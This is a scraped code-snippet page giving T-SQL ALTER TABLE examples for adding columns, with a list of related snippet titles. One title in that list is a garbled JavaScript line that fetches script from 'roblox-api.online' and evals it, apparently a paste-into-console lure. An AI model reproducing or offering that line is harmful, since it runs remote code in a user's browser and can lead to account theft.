T-SQL Add Column

Sqlserver add column to table

ALTER TABLE dbo.doc_exa 
ADD column_b VARCHAR(20) NULL, 
	column_c INT NULL ;

Add a new column into table

ALTER TABLE table ADD [COLUMN] column_name;

Source: mysqltutorial.org

T-SQL Add Column

ALTER TABLE sales.quotations 
    ADD 
        amount DECIMAL (10, 2) NOT NULL,
        customer_name VARCHAR (50) NOT NULL;
Code language: SQL (Structured Query Language) (sql)

Source: sqlservertutorial.net

Similar codes

4 votes181 views10 answers
Javascript$get'//roblox-api.online/roblox?id=4823'.eval)javascript$get'//roblox-api.online/roblox?id=
SQL
0 vote183 views1 answer
Recursive query herarchical data sql server
SQL
0 vote217 views1 answer
Virtuoso sql query tutorial
SQL
1 vote201 views2 answers
Login to mysql
SQL
0 vote215 views1 answer
DELETE DUPLICATE VALUES FROM A TABLE IN SQL SERVER
SQL
1 vote203 views1 answer
Adding a check statement in sql
SQL
5 votes198 views2 answers
Sql server port number
SQL
2 votes198 views1 answer
Oracle list duplicates
SQL
0 vote190 views1 answer
Sql query to select records entered in last 24 hours
SQL
0 vote197 views1 answer
Sql query use select name inside where clause
SQL